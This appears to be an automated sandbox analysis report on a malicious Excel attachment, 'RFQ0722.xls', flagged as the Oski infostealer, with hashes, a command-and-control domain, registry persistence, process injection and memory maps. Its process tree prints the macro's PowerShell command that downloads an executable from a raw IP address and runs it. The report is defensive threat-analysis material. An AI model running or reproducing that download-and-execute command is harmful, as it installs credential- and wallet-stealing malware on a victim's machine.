Analysis
-
max time kernel
102s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20220721-en -
resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system -
submitted
25-07-2022 09:09
Static task
static1
Behavioral task
behavioral1
Sample
RFQ0722.xls
Resource
win7-20220718-en
Behavioral task
behavioral2
Sample
RFQ0722.xls
Resource
win10v2004-20220721-en
General
-
Target
RFQ0722.xls
-
Size
457KB
-
MD5
77358b120c49a00939b58f530827101b
-
SHA1
0243ff329e56636195dc9f8e2c7e8e23ce9a4d88
-
SHA256
9099f8ecee77fd796796c8a399a103dd35ad32d0a0c596045e96ec56b1836af2
-
SHA512
a39b0c58cb52854f7ce8a9c2840687e9aba86271f8af5e40d416987749b7e5ebecd62ff0d3c1339006bc6bc56fa64ab183c163224c76c9402ef8dd50c2308043
Malware Config
Extracted
oski
manguerassorna.com
Signatures
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
POWERshEll.ExEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2940 4536 POWERshEll.ExE EXCEL.EXE -
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
-
Blocklisted process makes network request 1 IoCs
Processes:
POWERshEll.ExEflow pid process 13 2940 POWERshEll.ExE -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
o.exepid process 4280 o.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
o.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation o.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
o.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wınrarçexe = "\"C:\\Users\\Admin\\AppData\\Roaming\\wınrarçexe.exe\"" o.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
o.exedescription pid process target process PID 4280 set thread context of 2096 4280 o.exe InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1672 2096 WerFault.exe InstallUtil.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4536 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
POWERshEll.ExEpowershell.exeo.exepid process 2940 POWERshEll.ExE 2940 POWERshEll.ExE 3476 powershell.exe 3476 powershell.exe 4280 o.exe 4280 o.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
POWERshEll.ExEpowershell.exeo.exedescription pid process Token: SeDebugPrivilege 2940 POWERshEll.ExE Token: SeDebugPrivilege 3476 powershell.exe Token: SeDebugPrivilege 4280 o.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE 4536 EXCEL.EXE -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
EXCEL.EXEPOWERshEll.ExEo.exedescription pid process target process PID 4536 wrote to memory of 2940 4536 EXCEL.EXE POWERshEll.ExE PID 4536 wrote to memory of 2940 4536 EXCEL.EXE POWERshEll.ExE PID 2940 wrote to memory of 4280 2940 POWERshEll.ExE o.exe PID 2940 wrote to memory of 4280 2940 POWERshEll.ExE o.exe PID 2940 wrote to memory of 4280 2940 POWERshEll.ExE o.exe PID 4280 wrote to memory of 3476 4280 o.exe powershell.exe PID 4280 wrote to memory of 3476 4280 o.exe powershell.exe PID 4280 wrote to memory of 3476 4280 o.exe powershell.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe PID 4280 wrote to memory of 2096 4280 o.exe InstallUtil.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RFQ0722.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWERshEll.ExEPOWERshEll.ExE wGet http://179.43.175.187/zqde/Jzqmynb.exe -outFIlE o.exe ; .\o.exe2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\o.exe"C:\Users\Admin\Documents\o.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgAwAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 12885⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2096 -ip 20961⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD598ca3263bd17f6f4308b8e4ff7530958
SHA16f41bacd42af6a11bb8d1516f7b07171087e7a17
SHA256d25dfa289ae0981cb5c6da04de6c9f1a4aaf51ba8eafb7aeda3c9e5a27268e19
SHA512f2ad36f84956741c2e3ef494a36f2a96bf944ab035419e82447bb25a53b309a9e93b450d679cb5709f6acb5a2b7956c568b280151b65313637f758ffd08f01e7
-
C:\Users\Admin\Documents\o.exeFilesize
470KB
MD5b0d0a4af8f13d80eafe1238bd3f684c8
SHA123f10ff96e9933590fb9c384c543d20ab695733f
SHA256938f4e648e57b9ad6d41ea3fe8707c0f249ba2baa24a5af557b4f09d698b8145
SHA5125c5297e21c1a37d72894cd232a0833c917d886fb2f8aae9015a41b986a8c4738d90372181cfad5d1bb2584e9b4fbfa2a719752f2973629e42cd562487cdbeffd
-
C:\Users\Admin\Documents\o.exeFilesize
470KB
MD5b0d0a4af8f13d80eafe1238bd3f684c8
SHA123f10ff96e9933590fb9c384c543d20ab695733f
SHA256938f4e648e57b9ad6d41ea3fe8707c0f249ba2baa24a5af557b4f09d698b8145
SHA5125c5297e21c1a37d72894cd232a0833c917d886fb2f8aae9015a41b986a8c4738d90372181cfad5d1bb2584e9b4fbfa2a719752f2973629e42cd562487cdbeffd
-
memory/2096-155-0x0000000000000000-mapping.dmp
-
memory/2096-157-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/2096-156-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/2096-158-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/2096-159-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/2096-160-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/2940-143-0x00007FF925390000-0x00007FF925E51000-memory.dmpFilesize
10.8MB
-
memory/2940-137-0x0000000000000000-mapping.dmp
-
memory/2940-138-0x000001FC4E370000-0x000001FC4E392000-memory.dmpFilesize
136KB
-
memory/2940-139-0x00007FF925390000-0x00007FF925E51000-memory.dmpFilesize
10.8MB
-
memory/3476-146-0x0000000000000000-mapping.dmp
-
memory/3476-154-0x0000000006550000-0x000000000656A000-memory.dmpFilesize
104KB
-
memory/3476-153-0x00000000078E0000-0x0000000007F5A000-memory.dmpFilesize
6.5MB
-
memory/3476-152-0x0000000006070000-0x000000000608E000-memory.dmpFilesize
120KB
-
memory/3476-147-0x0000000002730000-0x0000000002766000-memory.dmpFilesize
216KB
-
memory/3476-148-0x0000000005380000-0x00000000059A8000-memory.dmpFilesize
6.2MB
-
memory/3476-149-0x00000000059B0000-0x0000000005A16000-memory.dmpFilesize
408KB
-
memory/3476-150-0x0000000005A20000-0x0000000005A86000-memory.dmpFilesize
408KB
-
memory/4280-144-0x0000000000C60000-0x0000000000CD8000-memory.dmpFilesize
480KB
-
memory/4280-140-0x0000000000000000-mapping.dmp
-
memory/4280-145-0x00000000057A0000-0x00000000057C2000-memory.dmpFilesize
136KB
-
memory/4536-134-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB
-
memory/4536-136-0x00007FF90C850000-0x00007FF90C860000-memory.dmpFilesize
64KB
-
memory/4536-135-0x00007FF90C850000-0x00007FF90C860000-memory.dmpFilesize
64KB
-
memory/4536-130-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB
-
memory/4536-133-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB
-
memory/4536-132-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB
-
memory/4536-131-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB
-
memory/4536-162-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB
-
memory/4536-163-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB
-
memory/4536-164-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB
-
memory/4536-165-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmpFilesize
64KB